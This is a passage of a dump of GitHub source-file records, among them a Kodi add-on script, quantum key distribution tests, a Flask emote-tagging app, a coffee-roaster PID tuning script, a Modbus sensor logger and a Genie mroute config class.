time.sleep(1)\n      RebootFlag = True\n    else:\n      str2=\"You can install it at any time.\"\n      str3=\"Through [On Demand] > [+] menu if you want.\"\n      dialog.ok(\"[Kayo Sports] add-on is available now\",str2,str3)\n      os.system(\"touch /storage/DontAskAgain\")\n\n    TargetFileUpdate('inputstream.adaptive',USERPATH1)\n\n  if os.path.exists(os.path.join(__lib__, \"usr/plugin.video.youtube\")):\n    TargetFileUpdate(\"usr/plugin.video.youtube\",USERPATH2)\n\n  if RebootFlag:\n    os.system(\"reboot\")\n\n  dis_or_enable_addon(\"pvr.iptvsimple\", \"true\")\n","repo_name":"csu-anzai/LilacTV","sub_path":"Addons/SeeboTV/repo/script.manageChannelIcons/script.manageChannelIcons/default.py","file_name":"default.py","file_ext":"py","file_size_in_byte":10159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70550069449","text":"import qkdutils as util\nfrom math import pi\nimport qit\nimport numpy as np\nimport protocols\nimport bb84, b92, e91\n\ndef test_runBB84():\n    numTrials = 20\n    numBits = 2048\n\n    for j in range(numTrials):\n        assert(len(simulations.runBB84(numBits, False, 0.0, False)) >= 3*numBits/4)\n        assert(simulations.runBB84(numBits, True, 0.0, False) == -1)\n\n\ndef test_simulateB92():\n    numTrials = 20\n    numBits = 2048\n\n    for j in range(numTrials):\n        assert(len(simulations.runB92(numBits, False, 0.0, False)) >= 3*numBits/4)\n        assert(simulations.runB92(numBits, True, 0.0, False) == -1)\n\n\ndef test_decodeStateB92():\n    # Test probabilistic results match our expectations:\n    # If sent == basis, measure the value of sent 50% of the time\n    # If sent not measured, nothing comes through the filter\n    numTrials = 50\n    numBits = 1024\n    sent = util.getRandomBits(numBits)\n    bases = util.getRandomBits(numBits)\n    tolerance = 0.05\n\n    for j in range(numTrials):\n        seen = 0\n\n        for k in range(numBits):\n            q = qit.state('0')\n            if sent[k]: q = q.u_propagate(qit.H)\n\n            result = b92.decodeState(q, bases[k])\n            if result != None:\n                seen += 1\n                assert(result == sent[k])\n\n        # Expect to get ~1/4 of the original key material\n        print(float(seen)/numBits)\n        assert(abs(float(seen)/numBits - 0.25) < tolerance)\n\n\ndef test_decodeStateBB84_deterministic():\n    # Test deterministic cases\n    q = qit.state('0')\n    assert(bb84.decodeState(q, 0) == False)\n    q = q.u_propagate(qit.H)\n    assert(bb84.decodeState(q, 1) == False)\n    q  = qit.state('1')\n    assert(bb84.decodeState(q, 0) == True)\n    q = q.u_propagate(qit.H)\n    assert(bb84.decodeState(q, 1) == True)\n\n\ndef test_decodeStateBB84_probabilistic():\n    # Test probabilistic measurement is roughly even\n    numTrials = 10000\n    tolerance = 0.1 * numTrials\n\n    q = qit.state('0')\n    counts = [0, 0]\n    for j in range(numTrials):\n        counts[bb84.decodeState(q, 1)] += 1\n    assert abs(counts[0] - counts[1]) < tolerance\n\n    q = q.u_propagate(qit.H)\n    counts = [0, 0]\n    for j in range(numTrials):\n        counts[bb84.decodeState(q, 0)] += 1\n    assert(abs(counts[0] - counts[1]) < tolerance)\n\n    q = qit.state('1')\n    counts = [0, 0]\n    for j in range(numTrials):\n        counts[bb84.decodeState(q, 1)] += 1\n    assert(abs(counts[0] - counts[1]) < tolerance)\n\n    q = q.u_propagate(qit.H)\n    counts = [0, 0]\n    for j in range(numTrials):\n        counts[bb84.decodeState(q, 0)] += 1\n    assert(abs(counts[0] - counts[1]) < tolerance)\n\n\ndef test_discloseHalf():\n    numTrials = 128\n\n    for j in range(numTrials):\n        key1 = util.getRandomBits(j)\n        key2 = util.getRandomBits(j)\n        announce1, key1, announce2, key2 = util.discloseHalf(key1, key2)\n        assert(len(key1) + len(announce1) == j)\n        assert(len(key2) + len(announce2) == j)\n\n\ndef test_simulateE91():\n    numTrials = 20\n    numBits = 2048\n\n    for j in range(numTrials):\n        assert(len(simulations.runE91(numBits)) >= 3*numBits/4)\n\n\ndef test_encodeBitBB84():\n    # Only test the 4 cases in our encoding strategy\n    assert(util.equivState(bb84.encodeBit(0,0), qit.state('0')))\n    assert(util.equivState(bb84.encodeBit(1,0), qit.state('1')))\n    assert(util.equivState(bb84.encodeBit(0,1), qit.state('0').u_propagate(qit.H)))\n    assert(util.equivState(bb84.encodeBit(1,1), qit.state('1').u_propagate(qit.H)))\n\n\ndef test_getRandomBits():\n    counts = [0, 0]\n    numBits = 1024\n    numTrials = 100\n    tolerance = 0.1 * numBits\n\n    for j in range(numTrials):\n        bits = util.getRandomBits(numBits)\n        counts[0] = len([j for j in bits if j==0])\n        counts[1] = len([j for j in bits if j==1])\n        print(abs(counts[0]-counts[1]))\n        assert(abs(counts[0]-counts[1]) < tolerance)\n\n\ndef test_matchKeysBB84():\n    numTrials = 100\n    numBits = 256\n\n    for j in range(numTrials):\n        key1 = util.getRandomBits(numBits)\n        bases1 = util.getRandomBits(numBits)\n        sent = bb84.encodeKey(key1, bases1)\n        bases2 = util.getRandomBits(numBits)\n        key2 = []\n        for k in range(numBits):\n            key2.append(bb84.decodeState(sent[k], bases2[k]))\n\n        result1, result2 = bb84.matchKeys(key1, key2, bases1, bases2)\n        assert(result1 == result2)\n\n\ndef test_measureEntangledState():\n    numTrials = 10000\n\n    for j in range(numTrials):\n        (basisA, basisB) = e91.chooseAxes(1)\n        (A, B) = e91.measureEntangledState(basisA[0], basisB[0])\n        if basisA == basisB:\n            assert(A != B)    # Bob's result must be anti-correlated with Alice's\n","repo_name":"cotaylor/qkdsim","sub_path":"tests/test_qkd.py","file_name":"test_qkd.py","file_ext":"py","file_size_in_byte":4671,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"16"}
+{"seq_id":"32193618721","text":"from imports import *\n\ndef get_titanic_data(use_cache=True):\n    # guard clause\n    if os.path.exists('titanic.csv') and use_cache:\n        print('Using cached csv')\n        return pd.read_csv('titanic.csv')\n    print('Acquiring data from SQL database')\n    df=pd.read_sql('SELECT * FROM passengers',get_db_url('titanic_db'))\n    df.to_csv('titanic.csv', index=False)\n    return df\n\ndef get_iris_data(use_cache=True):\n    if os.path.exists('iris.csv') and use_cache:\n        print('Using cached csv')\n        return pd.read_csv('iris.csv')\n    print('Acquiring data from SQL database')\n    df=pd.read_sql(\n        '''\n        SELECT * FROM measurements\n        LEFT JOIN species USING (species_id)\n        ''',\n        get_db_url('iris_db'))    \n    df.to_csv('iris.csv', index=False)\n    return df\n\ndef get_telco_data(use_cache=True):\n    if os.path.exists('telco.csv') and use_cache:\n        print('Using cached csv')\n        return pd.read_csv('telco.csv')\n    print('Acquiring data from SQL database')\n    df=pd.read_sql(\n        '''\n        SELECT *\n        FROM customers\n        LEFT JOIN internet_service_types USING (internet_service_type_id)\n        LEFT JOIN contract_types USING (contract_type_id)\n        LEFT JOIN payment_types USING (payment_type_id)\n        ''',\n        get_db_url('telco_churn'))     \n    df.to_csv('telco.csv', index=False)\n    return df\n\n","repo_name":"hinzle/classification-exercises","sub_path":"acquire.py","file_name":"acquire.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"20104664763","text":"# -*- coding: utf-8 -*-\n\nimport time\nimport datetime\nimport freshroastsr700\n\n\nclass Roaster(object):\n    def __init__(self, kp=0.06, ki=0.0075, kd=0.01):\n        \"\"\"Creates a freshroastsr700 object passing in methods included in this\n        class. Set the PID values above to set them in the freshroastsr700\n        object.\"\"\"\n        self.roaster = freshroastsr700.freshroastsr700(\n            self.update_data,\n            self.next_state,\n            thermostat=True,\n            kp=kp,\n            ki=ki,\n            kd=kd)\n        # test vector for driving sr700\n        # quick recipe simulation\n        # self.recipe = [\n        #     {\n        #         'time_remaining': 60,\n        #         'target_temp': 350,\n        #         'fan_speed': 9,\n        #         'state': 'roasting'\n        #     },\n        #     {\n        #         'time_remaining': 60,\n        #         'target_temp': 390,\n        #         'fan_speed': 5,\n        #         'state': 'roasting'\n        #     },\n        #     {\n        #         'time_remaining': 30,\n        #         'target_temp': 420,\n        #         'fan_speed': 5,\n        #         'state': 'roasting'\n        #     },\n        #     {\n        #         'time_remaining': 60,\n        #         'target_temp': 450,\n        #         'fan_speed': 5,\n        #         'state': 'roasting'\n        #     },\n        #     {\n        #         'time_remaining': 60,\n        #         'target_temp': 480,\n        #         'fan_speed': 3,\n        #         'state': 'roasting'\n        #     },\n        #     {\n        #         'time_remaining': 60,\n        #         'target_temp': 500,\n        #         'fan_speed': 3,\n        #         'state': 'roasting'\n        #     },\n        #     {\n        #         'time_remaining': 60,\n        #         'target_temp': 150,\n        #         'fan_speed': 9,\n        #         'state': 'cooling'\n        #     },\n        #     {\n        #         'time_remaining': 1,\n        #         'target_temp': 150,\n        #         'fan_speed': 1,\n        #         'state': 'idle'\n        #     }\n        # ]\n        # for dialing in pid params - 3 min. short cycle\n        self.recipe = [\n            {\n                'time_remaining': 60,\n                'target_temp': 300,\n                'fan_speed': 9,\n                'state': 'roasting'\n            },\n            {\n                'time_remaining': 60,\n                'target_temp': 350,\n                'fan_speed': 5,\n                'state': 'roasting'\n            },\n            {\n                'time_remaining': 60,\n                'target_temp': 400,\n                'fan_speed': 5,\n                'state': 'roasting'\n            },\n            {\n                'time_remaining': 60,\n                'target_temp': 450,\n                'fan_speed': 4,\n                'state': 'roasting'\n            },\n            {\n                'time_remaining': 30,\n                'target_temp': 150,\n                'fan_speed': 9,\n                'state': 'cooling'\n            },\n            {\n                'time_remaining': 1,\n                'target_temp': 150,\n                'fan_speed': 1,\n                'state': 'idle'\n            }\n        ]\n        # to set up process to begin, call next state to load first state\n        self.active_recipe_item = -1\n        # open file to write temps in CSV format\n        self.file = open(\"sr700_pid_tune.csv\", \"w\")\n        self.file.write(\"Time,crntTemp,targetTemp,heaterLevel\\n\")\n        # get start timestamp\n        self.start_time = datetime.datetime.now()\n\n    def __del__(self):\n        self.file.close()\n\n    def update_data(self):\n        \"\"\"This is a method that will be called every time a packet is opened\n        from the roaster.\"\"\"\n        time_elapsed = datetime.datetime.now() - self.start_time\n        crntTemp = self.roaster.current_temp\n        targetTemp = self.roaster.target_temp\n        heaterLevel = self.roaster.heater_level\n        # print(\n        #     \"Time: %4.6f, crntTemp: %d, targetTemp: %d, heaterLevel: %d\" %\n        #     (time_elapsed.total_seconds(), crntTemp, targetTemp, heaterLevel))\n        self.file.write(\n            \"%4.6f,%d,%d,%d\\n\" %\n            (time_elapsed.total_seconds(), crntTemp, targetTemp, heaterLevel))\n\n    def next_state(self):\n        \"\"\"This is a method that will be called when the time remaining ends.\n        The current state can be: roasting, cooling, idle, sleeping, connecting,\n        or unkown.\"\"\"\n        self.active_recipe_item += 1\n        if self.active_recipe_item >= len(self.recipe):\n            # we're done!\n            return\n        # show state step on screen\n        print(\"--------------------------------------------\")\n        print(\"Setting next process step: %d\" % self.active_recipe_item)\n        print(\"time:%d, target: %ddegF, fan: %d, state: %s\" %\n              (self.recipe[self.active_recipe_item]['time_remaining'],\n               self.recipe[self.active_recipe_item]['target_temp'],\n               self.recipe[self.active_recipe_item]['fan_speed'],\n               self.recipe[self.active_recipe_item]['state']\n               ))\n        print(\"--------------------------------------------\")\n        # set values for next state\n        self.roaster.time_remaining = (\n            self.recipe[self.active_recipe_item]['time_remaining'])\n        self.roaster.target_temp = (\n            self.recipe[self.active_recipe_item]['target_temp'])\n        self.roaster.fan_speed = (\n            self.recipe[self.active_recipe_item]['fan_speed'])\n        # set state\n        if(self.recipe[self.active_recipe_item]['state'] == 'roasting'):\n            self.roaster.roast()\n        elif(self.recipe[self.active_recipe_item]['state'] == 'cooling'):\n            self.roaster.cool()\n        elif(self.recipe[self.active_recipe_item]['state'] == 'idle'):\n            self.roaster.idle()\n        elif(self.recipe[self.active_recipe_item]['state'] == 'cooling'):\n            self.roaster.sleep()\n\n    def recipe_total_time(self):\n        total_time = 0\n        for step in self.recipe:\n            total_time += step['time_remaining']\n        return total_time\n\n\nif __name__ == \"__main__\":\n\n    # Create a roaster object.\n    r = Roaster()\n\n    # Conenct to the roaster.\n    r.roaster.auto_connect()\n\n    # Wait for the roaster to be connected.\n    while(r.roaster.connected is False):\n        print(\"Please connect your roaster...\")\n        time.sleep(1)\n\n    # get the roast started\n    r.roaster.roast()\n\n    # This ensures the example script does not end before the roast.\n    time.sleep(10+r.recipe_total_time())\n\n    # Disconnect from the roaster.\n    r.roaster.disconnect()\n","repo_name":"Roastero/freshroastsr700","sub_path":"examples/pid_tune_aid.py","file_name":"pid_tune_aid.py","file_ext":"py","file_size_in_byte":6663,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"16"}
+{"seq_id":"20188654441","text":"# 블랙잭(2798)\n# https://www.acmicpc.net/problem/2798\n# 해결 / 20분 소요 / 21.12.10\n'''\n접근 방법 1:\n내림차순 정렬 후에 작은 카드를 한장 씩 바꾸는 순으로 해서 3장을 가져가기\n\n접근 방법 2:\n접근 방법 1로는 정확하게 접근하기 어려웠다.\nm 보다 크거나 같은 수들의 경우 따로 max라는 변수에 비교 후 기존 값보다 큰 경우 집어 넣어줬다.\n\n'''\n\nfrom sys import stdin\nfrom itertools import permutations\n\nn, m = map(int, stdin.readline().rstrip().split())\nnums = list(map(int, stdin.readline().rstrip().split()))\nanswer = []\nmax = -1 \n\nfor datas in list(permutations(nums, 3)):\n    if sum(datas) > m:\n        continue\n    else:\n        tmp = sum(datas)\n        if max < tmp:\n            max = tmp\n\nprint(max)\nexit()\n\n\n# 블랙잭(2798)\n# https://www.acmicpc.net/problem/2798\n\ndef find_num(cards):\n    max_num = -1\n    for i in range(0, len(cards)):\n        for j in range(i+1, len(cards)):\n            for k in range(j+1, len(cards)):\n                tmp = cards[i] + cards[j] + cards[k]\n                if tmp <= call_num:\n                    if max_num < tmp:\n                        max_num = tmp\n    return max_num\n\n\n# n장의 카드, 딜러가 부른 숫자\ncard_num, call_num = map(int, input().split())\ncards = list(map(int, input().split()))\nprint(find_num(cards))\n","repo_name":"jongwanra/TIL","sub_path":"python_baekjoon/단계별로풀어보기/11-브루트포스/블랙잭(2798).py","file_name":"블랙잭(2798).py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"ko","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"7342027014","text":"import argparse\nimport functools\nimport json\nimport os\nimport os.path\nimport random\nimport string\nimport StringIO\nimport urllib\n\nimport flask\nfrom flask import request\n\nimport bplib\nimport bplib.json\nimport bplib.objects\nimport bpgen\n\nall_tags = []   # sorted set\ncss_cache = {}  # source_name -> str\n\ndef info_for(emote):\n    if hasattr(emote, \"image_url\"):\n        return (emote.image_url, emote.offset[1], emote.offset[0], emote.size[0], emote.size[1])\n    else:\n        return (-1, -1, -1, -1)\n\ndef make_tag_list():\n    global all_tags\n    tmp = set()\n    for source in context.sources.values():\n        for emote in source.emotes.values():\n            tmp |= emote.tags\n    all_tags = sorted(tmp)\n\ncontext = bplib.objects.Context()\ncontext.load_config()\ncontext.load_sources()\nmake_tag_list()\n\nfor source in context.sources.values():\n    source.group_emotes()\n\ndef sync_tags(source):\n    path = \"tags/%s.json\" % (source.name.split(\"/\")[-1])\n    file = open(path, \"w\")\n    bplib.json.dump(source.dump_tags(), file, indent=0, max_depth=1, sort_keys=True)\n\ndef get_css(source_name):\n    if source_name not in css_cache:\n        css_rules = bpgen.build_css(context.sources[source_name].emotes.values())\n        stream = StringIO.StringIO()\n        bpgen.dump_css(stream, css_rules)\n        css_cache[source_name] = stream.getvalue()\n    return css_cache[source_name]\n\napp = flask.Flask(__name__, static_folder=\"tagapp-static\", static_url_path=\"/static\")\napp.jinja_env.globals[\"sorted\"] = sorted\napp.jinja_env.globals[\"urlquote\"] = lambda s: urllib.quote(s, \"\")\n\nsecret_key = \"\".join(random.choice(string.letters) for _ in range(32))\nprint(\"SECRET KEY: %s\" % (secret_key))\n\ndef check_auth(username, password):\n    return str(username) == \"admin\" and str(password) == secret_key\n\ndef requires_auth(f):\n    @functools.wraps(f)\n    def decorated(*args, **kwargs):\n        auth = request.authorization\n        if not auth or not check_auth(auth.username, auth.password):\n            return flask.Response(\"Access denied\", 401, {\"WWW-Authenticate\": \"Basic realm=\\\"Login Required\\\"\"})\n        return f(*args, **kwargs)\n    return decorated\n\n@app.route(\"/\")\ndef index():\n    return flask.render_template(\"index.html\", sources=sorted(context.sources), all_tags=all_tags)\n\n@app.route(\"/source/<source_name>\")\ndef tag(source_name):\n    source_name = urllib.unquote(str(source_name))\n    source = context.sources[source_name]\n    emotes = list(source.undropped_emotes())\n    tags = {emote.name: sorted(emote.tags) for emote in emotes}\n    return flask.render_template(\"tag.html\", source=source, given_emotes=sorted(source.emote_groups.items()), tags=tags)\n\n@app.route(\"/source/<source_name>/write\", methods=[\"POST\"])\ndef write(source_name):\n    source_name = urllib.unquote(str(source_name))\n    data = json.loads(request.form[\"tags\"])\n    source = context.sources[source_name]\n    for (name, tags) in data.items():\n        assert isinstance(name, unicode)\n        assert isinstance(tags, list) and all([isinstance(r, unicode) for r in tags])\n        emote = source.emotes[str(name)]\n        emote.tags = set(map(str, tags))\n    sync_tags(source)\n    make_tag_list()\n    return flask.redirect(flask.url_for(\"index\"))\n\n@app.route(\"/source/<source_name>/css\")\ndef css(source_name):\n    source_name = urllib.unquote(str(source_name))\n    return flask.Response(get_css(source_name), mimetype=\"text/css\")\n\n@app.route(\"/tag/<tag>\")\ndef taginfo(tag):\n    tag = str(tag)\n    data = {}\n    for source in context.sources.values():\n        data[source] = []\n        for emote in source.unignored_emotes():\n            if tag in emote.tags:\n                data[source].append(emote)\n        data[source].sort(key=lambda e: e.name)\n        if not data[source]:\n            del data[source]\n    data = sorted(data.items(), key=lambda i: i[0].name)\n    return flask.render_template(\"taginfo.html\", tag=tag, data=data)\n\n@app.route(\"/tag/<tag>/rename\", methods=[\"POST\"])\n@requires_auth\ndef rename_tag(tag):\n    tag = str(tag)\n    to = str(request.form[\"to\"])\n    if not to.startswith(\"+\"):\n        to = \"+\" + to\n    for (source_name, source) in context.sources.items():\n        dirty = False\n        for (name, emote) in source.emotes.items():\n            if tag in emote.tags:\n                emote.tags = emote.tags - {tag} | {to}\n                dirty = True\n        if dirty:\n            sync_tags(source)\n    all_tags.remove(tag)\n    if to not in all_tags:\n        all_tags.append(to)\n        all_tags.sort()\n    return flask.redirect(flask.url_for(\"taginfo\", tag=to))\n\n@app.route(\"/tag/<tag>/delete\", methods=[\"POST\"])\n@requires_auth\ndef delete_tag(tag):\n    tag = str(tag)\n    if not tag.startswith(\"+\"):\n        tag = \"+\" + tag\n    for (source_name, source) in context.sources.items():\n        dirty = False\n        for (name, emote) in source.emotes.items():\n            if tag in emote.tags:\n                emote.tags = emote.tags - {tag}\n                dirty = True\n        if dirty:\n            sync_tags(source)\n    all_tags.remove(tag)\n    return flask.redirect(flask.url_for(\"index\"))\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"Emote tagger webapp\")\n    parser.add_argument(\"-d\", \"--debug\", help=\"Enable debug mode\", default=False, action=\"store_true\")\n    args = parser.parse_args()\n\n    app.debug = args.debug\n\n    app.run()\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"thejbw/bpm-master","sub_path":"tagapp.py","file_name":"tagapp.py","file_ext":"py","file_size_in_byte":5376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"41220201738","text":"#!/usr/bin/env python3\n\n# Created by: Liam Hearty\n# Created on: October 2019\n# This program Moves sprites on the PyBadge (with borders)\n\n# Circuitpython screen size is 160x120 and sprites are 16x16\nSCREEN_X = 160\nSCREEN_Y = 120\nSCREEN_GRID_X = 16\nSCREEN_GRID_Y = 8\nSPRITE_SIZE = 16\nTOTAL_NUMBER_OF_ALIENS = 5\nFPS = 60\n","repo_name":"Liam-Hearty/ICS3U---FP-Lessons-5","sub_path":"constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"36780192557","text":"import math\r\nimport time\r\nfrom asyncio.windows_events import NULL\r\nfrom datetime import datetime\r\nimport openpyxl\r\nfrom openpyxl import Workbook\r\nfrom pymodbus.client import ModbusSerialClient\r\n\r\n\r\ndef createcall():\r\n    wb = Workbook()\r\n    sheet1 = wb.active\r\n    sheet1.title = \"measurement\"\r\n    top = [\"Date\", \"Time\", \"Slave Address\", \"Poll Count\", \"Temperature\", \"Pressure\"]\r\n    col = 1\r\n    for var in top:\r\n        sheet1.cell(row=count, column=col, value=var)\r\n        col += 1\r\n    wb.save(name)\r\n\r\n\r\ndef filldata(vars):\r\n    wb = openpyxl.load_workbook(name)\r\n    sheet = wb['measurement']\r\n    col = 1\r\n    for var in vars:\r\n        sheet.cell(row=count + 1, column=col, value=var)\r\n        col += 1\r\n    wb.save(name)\r\n\r\n\r\ndef endcall():\r\n    end = time.time()\r\n    totaltime = end - start\r\n    wb = openpyxl.load_workbook(name)\r\n    sheet2 = wb.create_sheet(\"sheet2\")\r\n    sheet2.title = \"results\"\r\n    top = [\"Completion Date\", \"Completion Time\", \"Duration\", \"Total Readings\", \"Errors count\", \"Error %\",\r\n           \"No response count\", \"No response %\"]\r\n    col = 1\r\n    for var in top:\r\n        sheet2.cell(row=1, column=col, value=var)\r\n        col += 1\r\n    dati = datetime.now()\r\n    date = dati.strftime(\"%d-%m-%Y\")\r\n    timee = dati.strftime(\"%H:%M:%S\")\r\n    m = (errorcnt / (count - 1)) * 100\r\n    n = (norespcnt / (count - 1)) * 100\r\n    data = [date, timee, f\"{round(totaltime / 60, 2)} mins\", count - 1, errorcnt, f\"{m}%\", norespcnt, f\"{n}%\"]\r\n    col = 1\r\n    for var in data:\r\n        sheet2.cell(row=2, column=col, value=var)\r\n        col += 1\r\n    wb.save(name)\r\n    print(\"Report generated!\\n\")\r\n\r\n\r\ndef temp():\r\n    result = client.read_holding_registers(address=20, slave=add, count=1, unit=1)\r\n    ans = result.registers\r\n    return round(ans[0] * 0.1, 2)\r\n\r\n\r\ndef pressure():\r\n    d1 = {0: 1, 1: 0.1, 2: 0.01, 3: 0.001}\r\n    d2 = {0: \"MPa\", 1: \"kPa\", 2: \"Pa\", 3: \"bar\", 4: \"mbar\", 5: \"kg/cm2\", 6: \"psi\", 7: \"mH20\", 8: \"mmH20\"}\r\n    pres = client.read_holding_registers(address=2, slave=add, count=3, unit=1)\r\n    pf = pres.registers\r\n    return [str(pf[2] * d1.get(pf[1])) + \" \" + d2.get(pf[0]), pf[2] * d1.get(pf[1])]\r\n\r\n\r\ndef main():\r\n    p = pressure()\r\n    te = temp()\r\n    if p == NULL or te == NULL:\r\n        global norespcnt\r\n        norespcnt = norespcnt + 1\r\n    if p[1] >= 1.5 or p[1] <= 0.5 or te <= 25 or te >= 32:\r\n        global errorcnt\r\n        errorcnt = errorcnt + 1\r\n    dati = datetime.now()\r\n    date = dati.strftime(\"%d-%m-%Y\")\r\n    timee = dati.strftime(\"%H:%M:%S\")\r\n\r\n    s = [date, timee, add, count, f\"{te} C\", p[0]]\r\n    filldata(s)\r\n\r\n    print(\"++++++++++++++++\")\r\n    print(\"poll count: \", count)\r\n    print(\"date & time: \", date, timee)\r\n    print(\"slave address: \", add)\r\n    print(\"temperature: \", te, \"C\")\r\n    print(\"pressure: \", p[0])\r\n    print(\"++++++++++++++++\\n\")\r\n\r\n\r\n# defining variables\r\ncount = 1\r\nerrorcnt = 0\r\nnorespcnt = 0\r\n\r\n# connecting with serial port\r\nclient = ModbusSerialClient(method='rtu', port='COM2', stopbits=1, bytesize=8, baudrate=9600)\r\nprint(\"\\nSerial port connected: \", client.connect(), \"\\n\")\r\n\r\n# getting slave address of the sensor\r\nadd = int(input(\"enter slave add: \"))\r\nfrequency = int(input(\"Enter frequency in seconds: \"))\r\ntimet = int(input(\"Enter test durations in mins: \"))\r\n\r\n# creating a new file\r\ndt = datetime.now()\r\nd = dt.strftime(\"%d-%m-%Y\")\r\nt = dt.strftime(\"%H-%M-%S\")\r\nname = f\"{add}_{d}_{t}.xlsx\"\r\ncreatecall()\r\n\r\n# starting the test and appending sensor readings in the newly created file\r\nstart = time.time()\r\nprint(\"Testing starts.... \\n\")\r\nwhile count <= math.ceil((timet * 60) / frequency):\r\n    main()\r\n    time.sleep(frequency)\r\n    count = count + 1\r\nprint(\"Testing completed!\\n\")\r\n\r\n# generating a report\r\nendcall()\r\n","repo_name":"atishaygupta123/rs485code","sub_path":"rs495py (1).py","file_name":"rs495py (1).py","file_ext":"py","file_size_in_byte":3747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"19415914469","text":"# nested_spiral.py\nfrom turtle import *\n\nbgcolor('black')\ncolors = ['yellow', 'red', 'green', 'blue', 'pink', 'orange', 'white', 'purple']\nwidth(1)\nspeed(0)\n\ndef spiral(side, round):\n    for i in range(int(round/2)):\n        pencolor(colors[i % side])\n        # pencolor(colors[0])\n        forward(i * 2)\n        left(360/side + 2)\n\nside = 4\nfor i in range(100):\n    penup() \n    forward(i * 4)\n    pos = position()\n    head = heading()\n\n    print(pos, head)\n\n    pendown()\n    spiral(side, i)\n\n    setpos(pos)\n    setheading(head)\n    left(360/side + 8)\n\ndone()","repo_name":"adadesions/python-afternoon","sub_path":"worksheet/2021/nested_spiral.py","file_name":"nested_spiral.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"42321595251","text":"__all__ = (\n    'Mroute'\n)\n\n# Python\nimport weakref\nimport functools\n\n# Genie\nfrom genie.decorator import managedattribute\nfrom genie.conf.base import ConfigurableBase\nfrom genie.libs.conf.base import IPv4Address, IPv6Address, IPv4Interface, IPv6Interface\n\n\n@functools.total_ordering\nclass Mroute(ConfigurableBase):\n\n    @property\n    def testbed(self):\n        return self.device.testbed\n\n    @property\n    def device(self):\n        return self._device()\n\n    # mroute_address\n    mroute_address = managedattribute(\n        name='mroute_ip_address',\n        default=None,\n        type=(None, IPv4Address, IPv6Address),\n        doc=\"Configure 'ip mroute' or 'ipv6 mroute' on the device.\")\n\n    # mroute_prefix_mask\n    mroute_prefix_mask = managedattribute(\n        name='mroute_prefix_mask',\n        default=None,\n        type=(None, managedattribute.test_istype(int)),\n        doc=\"Configure 'ip/ipv6 mroute' prefix mask on the device.\")\n\n    # mroute_neighbor_address\n    mroute_neighbor_address = managedattribute(\n        name='mroute_neighbor_address',\n        default=None,\n        type=(None, IPv4Address, IPv6Address),\n        doc=\"Configure 'ip/ipv6 mroute' neighbor address on the device.\")\n    \n    # mroute_interface_name\n    mroute_interface_name = managedattribute(\n        name='mroute_interface_name',\n        default=None,\n        type=(None, managedattribute.test_istype(str)),\n        doc=\"Configure 'ip/ipv6 mroute' interface name on the device.\")\n    \n    # mroute_admin_distance\n    mroute_admin_distance = managedattribute(\n        name='mroute_admin_distance',\n        default=None,\n        type=(None, managedattribute.test_istype(int)),\n        doc=\"Configure 'ip/ipv6 mroute' admin distance on the device.\")\n\n    # mroute_vrf\n    mroute_vrf = managedattribute(\n        name='mroute_vrf',\n        default=None,\n        type=(None, managedattribute.test_istype(str)),\n        doc=\"Configure 'ip/ipv6 mroute' VRF on the device.\")\n\n    # ==========================================================================\n\n    # Overload __eq__\n    def __eq__(self, other):\n        if not isinstance(other, Mroute):\n            raise NotImplemented\n        \n        return (self.mroute_address,\n                self.mroute_prefix_mask,\n                self.mroute_neighbor_address,\n                self.mroute_admin_distance,\n                self.mroute_vrf,\n                self.mroute_interface_name,\n                self.device) == \\\n               (other.mroute_address,\n                other.mroute_prefix_mask,\n                other.mroute_neighbor_address,\n                other.mroute_admin_distance,\n                other.mroute_vrf,\n                other.mroute_interface_name,\n                other.device)\n\n    # Overload __lt__\n    def __lt__(self, other):\n        if not isinstance(other, Mroute):\n            raise NotImplemented(\"Cannot compare '{s}' to a '{o}'\".format(s=type(self), o=type(other)))\n\n        # Comparing same types (both v4 or both v6)\n        if type(self.mroute_address) == type(other.mroute_address):\n            return self.mroute_address < other.mroute_address\n        # Comparing mistmatch types\n        else:\n            self_addr = str(self.mroute_address)\n            other_addr = str(other.mroute_address)\n            return self_addr < other_addr\n    \n    # Overload __hash__\n    def __hash__(self):\n        return hash((self.mroute_address,\n                self.mroute_prefix_mask,\n                self.mroute_neighbor_address,\n                self.mroute_admin_distance,\n                self.mroute_vrf,\n                self.mroute_interface_name,\n                self.device))\n\n    # Overload __repr__\n    def __repr__(self):\n        if isinstance(self.mroute_address, IPv6Address):\n            return '%s object at 0x%x with ipv6 address %s/%s' % (\n                    self.__class__.__name__,\n                    id(self),\n                    self.mroute_address,\n                    self.mroute_prefix_mask)\n        else:\n            return '%s object at 0x%x with ip address %s/%s' % (\n                    self.__class__.__name__,\n                    id(self),\n                    self.mroute_address,\n                    self.mroute_prefix_mask)\n\n\n    def __init__(self, device, *args, **kwargs):\n        self._device = weakref.ref(device)\n        super().__init__(*args, **kwargs)","repo_name":"CiscoTestAutomation/genielibs","sub_path":"pkgs/conf-pkg/src/genie/libs/conf/mcast/mroute.py","file_name":"mroute.py","file_ext":"py","file_size_in_byte":4348,"program_lang":"python","lang":"en","doc_type":"code","stars":98,"dataset":"github-code","pt":"16"}
